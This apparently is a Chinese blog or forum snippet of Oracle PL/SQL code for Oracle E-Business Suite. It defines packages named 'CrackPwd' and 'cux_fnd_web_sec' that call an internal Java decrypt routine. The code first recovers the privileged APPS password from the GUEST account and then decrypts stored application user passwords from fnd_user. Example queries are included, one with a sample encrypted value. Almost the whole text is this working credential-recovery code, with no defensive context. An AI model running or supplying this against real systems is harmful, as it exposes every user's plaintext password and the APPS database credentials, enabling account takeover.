–header

CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER

AS

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2;

END CrackPwd;

–body

CREATE OR REPLACE PACKAGE BODY CrackPwd

AS

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2

AS

LANGUAGE JAVA

NAME ‘oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String’;

END CrackPwd;

查询

SELECT usr.user_name,
CrackPwd.getpwd
((SELECT (SELECT CrackPwd.getpwd
(fnd_web_sec.get_guest_username_pwd,
usertable.encrypted_foundation_password
)
FROM DUAL) AS apps_password
FROM apps.fnd_user usertable
WHERE usertable.user_name =
(SELECT SUBSTR
(fnd_web_sec.get_guest_username_pwd,
1,
INSTR
(fnd_web_sec.get_guest_username_pwd,
‘/’
)
- 1
)
FROM DUAL)),
usr.encrypted_user_password
) PASSWORD
FROM apps.fnd_user usr
WHERE usr.user_name = ‘xxxxx’;

另一种方法：
–header
CREATE OR REPLACE PACKAGE cux_fnd_web_sec AUTHID CURRENT_USER AS
–Jianhua.Huang 2005.10.14
FUNCTION encrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2;

FUNCTION decrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2;

FUNCTION get_app_pass(p_guest_oracle IN VARCHAR2 DEFAULT NULL,
p_encrypted_fnd_password IN VARCHAR2 DEFAULT NULL)
RETURN VARCHAR2;

FUNCTION get_user_pass(p_app_pwd IN VARCHAR2 DEFAULT NULL,
p_user_name IN VARCHAR2) RETURN VARCHAR2;

END;

–body

CREATE OR REPLACE PACKAGE BODY cux_fnd_web_sec AS
/* $Header: AFSCJAVB.pls 115.67 2005/02/14 04:24:01 dehu ship $ */

FUNCTION encrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME ‘oracle.apps.fnd.security.WebSessionManagerProc.encrypt(java.lang.String,java.lang.String) return java.lang.String’;

– Function to decrypt an encrypted string using a specified key.

FUNCTION decrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME ‘oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String’;

FUNCTION get_app_pass(p_guest_oracle IN VARCHAR2 DEFAULT NULL,
p_encrypted_fnd_password IN VARCHAR2 DEFAULT NULL)
RETURN VARCHAR2 IS
l_key VARCHAR2(4000);
l_encrypted_fnd_password VARCHAR2(4000);
BEGIN

IF p_guest_oracle IS NULL THENl_key := upper(fnd_profile.VALUE('GUEST_USER_PWD'));
ELSEl_key := upper(p_guest_oracle);
END IF;--for 11.5.10
/*
begin
-- Call the procedure
fnd_security_pkg.fnd_encrypted_pwd(p_username => 'GUEST',p_server_id => 'SERVER_ID_IN_DBC_FILE',p_user_id => o_user_id,p_password => o_fnd_encrypted_pwd,p_module => 'FNDPUB',p_version => NULL);
end;
*/
--for 11.5.9
IF p_encrypted_fnd_password IS NULL THENSELECT MAX(usr.encrypted_foundation_password)INTO l_encrypted_fnd_passwordFROM fnd_user usrWHERE usr.user_name = 'GUEST';
ELSEl_encrypted_fnd_password := p_encrypted_fnd_password;
END IF;RETURN decrypt(l_key, l_encrypted_fnd_password);

END;

FUNCTION get_user_pass(p_app_pwd IN VARCHAR2 DEFAULT NULL,
p_user_name IN VARCHAR2) RETURN VARCHAR2 IS
l_key VARCHAR2(4000);
l_encrypted_user_password VARCHAR2(4000);
BEGIN
IF p_app_pwd IS NULL THEN
l_key := get_app_pass;
ELSE
l_key := upper(p_app_pwd);
END IF;

SELECT MAX(usr.encrypted_user_password)INTO l_encrypted_user_passwordFROM fnd_user usrWHERE usr.user_name = upper(p_user_name);RETURN decrypt(l_key, l_encrypted_user_password);

END;
END;
–查询

select cux_fnd_web_sec.decrypt(‘APPS’, ‘ZG70CFD9A95277FCC408FED388ED753DD302C4A35E9489BE2DDB3678146085BB9B24B1EFE8DEF7687E0B0C17C0132829ED9B’) pwd from dual;

select u.encrypted_user_password from fnd_user u where 1=1 and u.user_name = ‘XXXX’;